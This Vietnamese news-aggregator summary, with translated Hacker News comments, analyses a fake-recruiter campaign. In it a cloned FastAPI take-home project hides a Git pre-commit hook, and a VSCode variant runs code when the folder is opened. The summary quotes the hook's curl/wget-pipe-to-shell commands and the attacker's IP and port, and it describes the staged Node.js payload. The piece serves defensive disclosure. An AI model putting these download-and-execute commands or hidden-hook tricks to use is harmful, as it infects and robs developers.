2 điểm bởi GN⁺ 2 giờ trước | 1 bình luận | Chia sẻ qua WhatsApp
  • Một kẻ tuyển dụng giả mạo trên LinkedIn đề nghị vị trí lập trình viên Python làm việc từ xa với mức $10,000~15,000/tháng, gửi một tệp ZIP ngụy trang thành bài tập FastAPI bình thường, nhưng được sắp đặt để malware được cài trong quá trình làm việc với Git
  • Trong .git/hooks của kho chứa có ẩn hook pre-commit lặng lẽ chạy payload từ xa theo từng hệ điều hành, và các bước Git trong PDF bài tập chính là cơ chế dụ ứng viên kích hoạt nó
  • Payload trên Linux tải xuống script giai đoạn 2 vào ~/Documents, chạy bằng nohup, rồi cài Node.js cùng các dependency và parser.js đã bị làm rối để vận hành nền
  • Khi thay đổi giá trị id=402 trong yêu cầu, máy chủ trả về script khác; package.json có cả clipboardy để truy cập clipboard và hardhat cho môi trường phát triển Ethereum, nhưng mục đích cuối cùng vẫn chưa được xác định
  • Kẻ tấn công chỉ bổ sung thư mục độc hại vào một kho FastAPI công khai; biến thể khác có thể chạy lệnh chỉ bằng cách mở thư mục trong VSCode. Cần kiểm tra thư mục ẩn và cấu hình tự động chạy trước khi xử lý dự án từ bên ngoài

Đề nghị tuyển dụng quá tốt đến mức đáng ngờ

  • Một lời mời tuyển dụng lập trình viên Python gửi qua LinkedIn đưa ra hình thức hợp đồng ưu tiên làm việc từ xa, trả $10,000~15,000/tháng rồi có thể chuyển sang chính thức
  • Mức thù lao cao được công khai ngay cả trước khi phỏng vấn, và với mặt bằng tại Ấn Độ thì đây là dấu hiệu cảnh báo đầu tiên
  • Công ty dùng trong quá trình tuyển dụng được xác nhận là một startup thuộc Y Combinator, nhưng vẫn còn nghi ngờ rằng nếu thật sự có ngân sách như vậy thì quy trình tuyển dụng thường phải bài bản hơn
  • Sau khi gửi CV, ứng viên được chấp thuận gần như ngay lập tức và nhận một tệp ZIP cùng PDF hướng dẫn bài tập qua Google Drive
  • PDF yêu cầu cải thiện codebase hiện có, đề xuất kiến trúc và thực hiện các thao tác Git, nên bề ngoài rất giống một tài liệu đánh giá bình thường

Hook Git ẩn trong dự án FastAPI

  • Tệp nén chứa một backend FastAPI khá bình thường dùng SQLAlchemy, và trong requirements.txt cũng không thấy gói typosquatting hay package độc hại rõ ràng nào
  • Khi chạy tree -a để kiểm tra các mục ẩn, có thể thấy nhiều Git hook đã được cấu hình sẵn dưới .git/hooks
  • Script pre-commit xác định hệ điều hành bằng uname -s, rồi tải và chạy payload theo từng nền tảng từ cùng một máy chủ
    • Trên macOS, nó chạy curl .../task/mac?id=402 | sh
    • Trên Linux, nó chạy wget .../task/linux?id=402 | sh
    • Trên Windows, nó chạy curl .../task/windows?id=402 | cmd
  • Tất cả đầu ra đều bị chuyển vào /dev/null và tiến trình được đẩy xuống nền để che giấu dấu vết thực thi khỏi người dùng
  • Thay vì dùng tên miền, mã độc gọi trực tiếp địa chỉ IP thô 45.61.164.38:5777, khiến hành vi độc hại càng lộ rõ hơn

Payload nhiều giai đoạn trên Linux

  • Script Linux đầu tiên tải tokenlinux.npl vào ~/Documents, đổi tên thành tokenlinux.sh, rồi cấp quyền thực thi
  • Sau đó nó dùng nohup bash để chạy script ở chế độ nền, giúp tiến trình tiếp tục hoạt động ngay cả khi đóng terminal hoặc đăng xuất
  • Script giai đoạn 2 lặng lẽ thực hiện các việc sau
    • Cài Node.js và cấu hình đường dẫn hệ thống
    • Tải parser.jspackage.json
    • Cài các dependency npm cần thiết
    • Chạy parser.js bằng nohup node và ghi log vào parser.log
  • parser.js bị làm rối nặng đến mức rất khó phân tích thủ công; tệp gốc được lưu tại parser.js

Khả năng định danh theo từng nạn nhân

  • Endpoint liên tục nhận tham số id=402, và khi thay giá trị này thì máy chủ trả về một script hoàn toàn khác
  • Có khả năng kẻ tấn công gán định danh riêng cho từng ứng viên để cung cấp payload tùy biến, nhưng cách theo dõi thực tế chưa được xác nhận
  • Nhiều LLM đã được dùng để gỡ rối mã, nhưng kết quả không thống nhất
    • Claude từ chối phân tích do cơ chế an toàn được kích hoạt
    • Gemini cung cấp kết quả phân tích script
  • Việc tìm kiếm phần mở rộng gốc tokenlinux.npl cho thấy nó có liên quan đến một chiến dịch tấn công rộng hơn

Các dependency Node.js đáng ngờ

  • Tên dự án trong package.jsontokendapp, với các dependency như hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request...
  • Không rõ vì sao một tác vụ cấu hình nền lại cần truy cập clipboard qua clipboardy và các package liên quan đến hệ thống tệp
  • hardhat là môi trường phát triển Ethereum, nhưng vì Ethereum đã chuyển khỏi cơ chế proof-of-work nên khó thể kết luận đây là cấu hình đào coin thông thường
  • Khả năng tìm ví tiền mã hóa hoặc tương tác với extension trình duyệt cục bộ cũng đã được xem xét, nhưng mục đích độc hại cuối cùng vẫn chưa được xác định

Biến thể khác dùng VSCode

  • Một biến thể khác của cùng kiểu tấn công ẩn thư mục .vscode trong tệp ZIP và cấu hình để lệnh được thực thi khi mở thư mục đó bằng VSCode
  • Cách này cho phép lây nhiễm chỉ bằng thao tác mở thư mục, ngay cả khi không chạy lệnh Git hay trực tiếp thực thi mã dự án
  • Cuối cùng xác nhận rằng không phải công ty cụ thể nào trực tiếp tham gia tấn công; kẻ tấn công chỉ mượn tên các công ty mà chúng tìm thấy để làm lời mời tuyển dụng trông hợp pháp hơn

Tái sử dụng kho công khai làm lớp ngụy trang

  • Trong git log, lịch sử commit của các lập trình viên ban đầu vẫn còn nguyên, cho thấy đây không phải dự án do kẻ tấn công tự tạo
  • Nguồn gốc là kho công khai personal-finance-service
  • Kẻ tấn công sao chép một dự án FastAPI bình thường rồi chỉ thêm thư mục ẩn độc hại để ngụy trang thành codebase bài tập
  • Nếu chỉ xem mã nguồn bình thường và requirements.txt sạch sẽ, rất dễ bỏ sót hành vi độc hại

Điều tra máy chủ tấn công và giới hạn

  • Kết quả quét máy chủ tấn công bằng Nmap cho thấy có 3 cổng mở, trong đó 2 cổng không phản hồi khi dò phiên bản
  • Cổng 22 chạy OpenSSH 9.6p1 của Ubuntu
  • Tại thời điểm quét, phiên bản này mới phát hành khoảng hơn một tuần nên không tìm thấy CVE đã biết nào có thể khai thác, khiến việc mở rộng điều tra vào bên trong máy chủ trở nên khó khăn
  • Dù cách phát tán malware khá lộ liễu, bảo mật vận hành của máy chủ lại được duy trì tương đối tốt, và việc truy vết dừng lại ở đó

Vai trò của bài tập Git

  • Các bước Git trong PDF bài tập được thiết kế để buộc ứng viên ít nhất một lần chạy lệnh Git, từ đó kích hoạt hook đã được cài sẵn
  • Có vẻ như kẻ tuyển dụng giả đã xóa tài khoản LinkedIn ngay sau khi nhận được thông báo rằng cuộc tấn công đã bị phát hiện
  • Trước khi chạy dự án lạ hoặc thực hiện lệnh Git, nên dùng các công cụ như tree -a để kiểm tra .git, .vscode và các thư mục ẩn cùng cấu hình tự động chạy

1 bình luận

 
Ý kiến trên Hacker News
  • Chỉ sau khi đọc bài này tôi mới nhận ra mình đã bị nhắm tới và hack theo cách tinh vi hơn nhiều
    Vài tuần trước tôi đã phỏng vấn với CTO của một công ty có thật; người đó tắt camera và có giọng khá nặng, nhưng nội dung phỏng vấn rất tự nhiên và rõ ràng là hiểu kỹ thuật. Trong vòng phỏng vấn kỹ thuật, họ nói tôi cần sửa dự án mã nguồn mở của công ty, rồi bảo tôi clone repository và kiểm tra môi trường phát triển
    Sau đó, nhân sự nói buổi phỏng vấn bị hoãn vì CTO bị ốm, và vài ngày sau hồ sơ LinkedIn của người đó cũng bị xóa. Sau khi xem bài này, tôi kiểm tra lại thì thấy repository mà tôi đã clone và chạy trong lúc phỏng vấn có chứa payload mã độc
    Có lẽ tôi bị nhắm tới vì trước đây từng quản lý một gói NPM có hơn 43 triệu lượt tải mỗi tuần. Tôi đã bật xác thực hai yếu tố cho mọi tài khoản và cũng triển khai gói NPM thủ công không dùng token, nhưng giờ vẫn phải reset laptop và cài lại toàn bộ

    • Kiểm tra lại lịch thì đó là một buổi phỏng vấn 45 phút được đặt qua Calendly, và tôi thực sự đã nói chuyện suốt 45 phút với một kẻ mạo danh CTO qua link do nhân sự gửi
      Tôi có tìm các bài HN tương tự nhưng chưa thấy trường hợp nào nói đã gọi cả Google Meet với kẻ lừa đảo
    • Tôi từ chối các yêu cầu clone nguyên xi một dự án ngẫu nhiên. Tôi là lập trình viên Rails nên có thể dựng bộ khung của cả ứng dụng chỉ trong vài phút; chỉ cần đưa yêu cầu là tôi sẽ tự làm từ đầu đến cuối
      Nếu là công ty nghiêm túc thì họ sẽ cân nhắc điều đó, còn nếu từ chối thì coi như mình đã tránh được rủi ro. Giờ ai cũng dùng LLM rộng rãi để sinh mã, nên tôi nghĩ điều này phải làm được với bất kỳ stack công nghệ nào
    • Trong môi trường như vậy có lẽ cần VS Code được cô lập bằng container
    • Thật kỳ lạ khi mình dùng cùng mạng xã hội với những người đáng để bị tấn công có chủ đích. Tôi chỉ là người bình thường nên thứ gửi đến thường chỉ là mấy trò lừa như “vòng quay miễn phí” hay “tỷ phú Đức hấp hối”, còn tiêu đề email ấn tượng nhất từng thấy là “Xin lỗi vì đã phá hỏng âm đạo của bạn”
  • Có vẻ gần đây các cuộc tấn công từ Triều Tiên nhắm vào lập trình viên đang gia tăng. Ngoài các thủ đoạn kiểu này đã kéo dài nhiều năm, tôi còn nhận email gần như mỗi tuần một lần từ hacker Triều Tiên kiểu “tôi xem hồ sơ của bạn rồi, có muốn cộng tác không”
    Trong các cộng đồng Discord về lập trình cũng có nhiều tài khoản vừa tham gia vài ngày đã nhắn hỏi việc làm hay hợp tác. Có thể là người tìm việc thật, nhưng số lượng và mức độ giống nhau của các tin nhắn rất đáng ngờ; ngay cả những cộng đồng quanh thư viện Python ít người biết và hầu như không hoạt động cũng bị tìm tới, nên có vẻ họ đang quét danh sách cộng đồng Discord rồi tiếp cận hàng loạt
    Các kiểu tấn công lợi dụng sự tin tưởng giữa con người với nhau đang nhiều lên, nên có lẽ phải nghe lời cha mẹ: đừng tin người lạ trên Internet

    • Giờ đây còn khó lọc bot ngay từ đầu như trước nữa, vì LLM có thể tạo ra những đoạn đối thoại cơ bản rất tự nhiên
  • Thủ đoạn kiểm tra hệ điều hành của nạn nhân rồi âm thầm chạy payload từ xa đang lặp lại, và tháng trước cũng có một bài tương tự lên trang nhất
    https://news.ycombinator.com/item?id=48546294

    • Bài gốc cũng nói thẳng điều này và còn gắn cả kết quả tìm kiếm Google cho thấy cùng một nội dung
  • Việc dùng địa chỉ IP thô tạo cảm giác rất giống mã độc, nhưng nếu nạn nhân đã đào sâu đến mức kiểm tra nội dung hook thì chắc cũng không dừng nghi ngờ ở đó. Đa số lập trình viên có lẽ không nghĩ rằng git commit có thể kích hoạt hành vi độc hại, nên tôi cũng tự hỏi liệu đây có phải là một lỗ hổng bảo mật của Git hay không

    • Nếu chỉ clone repository thì Git hook không tự động được kích hoạt. Nhưng lần này không phải clone mà là một dự án được tải xuống, nên tình hình khác
    • Dù dùng công cụ nào đi nữa, chạy mã đã tải xuống mà chưa kiểm tra bản thân nó giờ đã là rủi ro
  • Điều còn lại chỉ là các loại cơ chế an toàn đã khiến Claude hoàn toàn vô dụng như một trợ lý

  • Việc dùng IP thô có thể nhằm tránh để lại thông tin danh tính ở nhà đăng ký tên miền hoặc giảm dấu vết trực tuyến xuống mức tối thiểu

    • Có lẽ vì vậy mà địa chỉ IP thô thường gắn với các hoạt động đáng ngờ
    • Cũng có thể chính các host đó đã bị nhiễm mã độc và hiện là những hệ thống bị lạm dụng làm proxy
  • Phần lớn ảnh chụp màn hình không mở ngay được, tôi phải xem ở tab mới
    Trò lừa này khá tinh vi nên có lẽ đã có rất nhiều người tìm việc mắc bẫy, và dự án Visual Studio Code trong bài còn có vẻ nguy hiểm hơn. Nếu chỉ mở dự án mà mã người dùng đã có thể chạy thì đó rõ ràng là một đường phát tán mã độc và cần có biện pháp giảm thiểu bảo mật
    Cách xử lý của các trang tuyển dụng cũng còn kém. Chỉ cần yêu cầu bằng chứng đang làm việc nếu ai đó tự nhận thuộc một công ty hay tổ chức, và hiển thị cảnh báo lớn với tin nhắn từ tài khoản chưa được xác minh, thì đã có thể khiến nhiều vụ lừa đảo khó thực hiện hơn. Hiện giờ ai cũng có thể tự nhận từng làm ở công ty nào hay học ở đâu

    • Có vẻ Microsoft đã quên lịch sử mã độc macro trong Word·Excel từng tự chạy khi mở tài liệu
    • Tất cả hình ảnh đều được host trên GitHub Pages nên có lẽ cần dùng CDN riêng
  • Thấy vui vì có bài về hack thật sự lên trang nhất Hacker News

    • Trên Hacker News, từ hacker lại mang nghĩa khác
      http://www.catb.org/jargon/html/H/hacker.html
      Nó chỉ người thích khám phá cấu trúc chi tiết và giới hạn của các hệ thống có thể lập trình, đặc biệt là những ai thích hiểu sâu cách vận hành bên trong của máy tính và mạng. Nó cũng chỉ những người không chỉ dừng ở lý thuyết mà còn lập trình với sự say mê, đôi khi đến mức cực kỳ dai dẳng
  • Nếu LinkedIn thực sự nghiêm túc trong việc ngăn lừa đảo, họ có thể cung cấp xác minh email công ty khi người dùng khai nơi làm việc hiện tại. Nếu bắt buộc là quá nặng thì ít nhất cũng có thể cho các nhà tuyển dụng muốn chứng minh tính hợp pháp của mình tự nguyện xác minh

    • LinkedIn thực ra đã thêm tính năng này từ năm 2023 (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Chỉ là số người thực sự xác minh email không nhiều, nên không có xác minh cũng chưa chắc là giả
    • Tôi và bạn bè đã nhiều năm dùng hồ sơ giả để dụ nhà tuyển dụng và công ty, nhằm xem đang có vị trí nào mở và họ đang tìm ứng viên kiểu gì. Khi các framework JavaScript bùng nổ, cách này đặc biệt hữu ích để phân biệt công ty/nhà tuyển dụng bình thường với kẻ lừa đảo
      Có lẽ giờ những chuyện tương tự cũng đang diễn ra để nhắm vào thị trường tuyển dụng AI và nhu cầu với LLM cùng tự động hóa
  • Những cuộc tấn công kiểu này có lẽ sẽ ngày càng phổ biến. Kẻ tấn công đã điều tra rất kỹ và thủ đoạn cũng rất độc, nhưng mức độ hoàn thiện về kỹ thuật thì phải công nhận, và tôi nghĩ tỷ lệ thành công thực tế cũng khá cao

    • Quá trình mổ xẻ bên trong khá vui, giống như một bài CTF. Nếu máy chủ của kẻ tấn công còn có lỗ hổng thì sẽ càng thú vị hơn
    • Kỹ năng của chúng cũng có thể chỉ là mượn từ LLM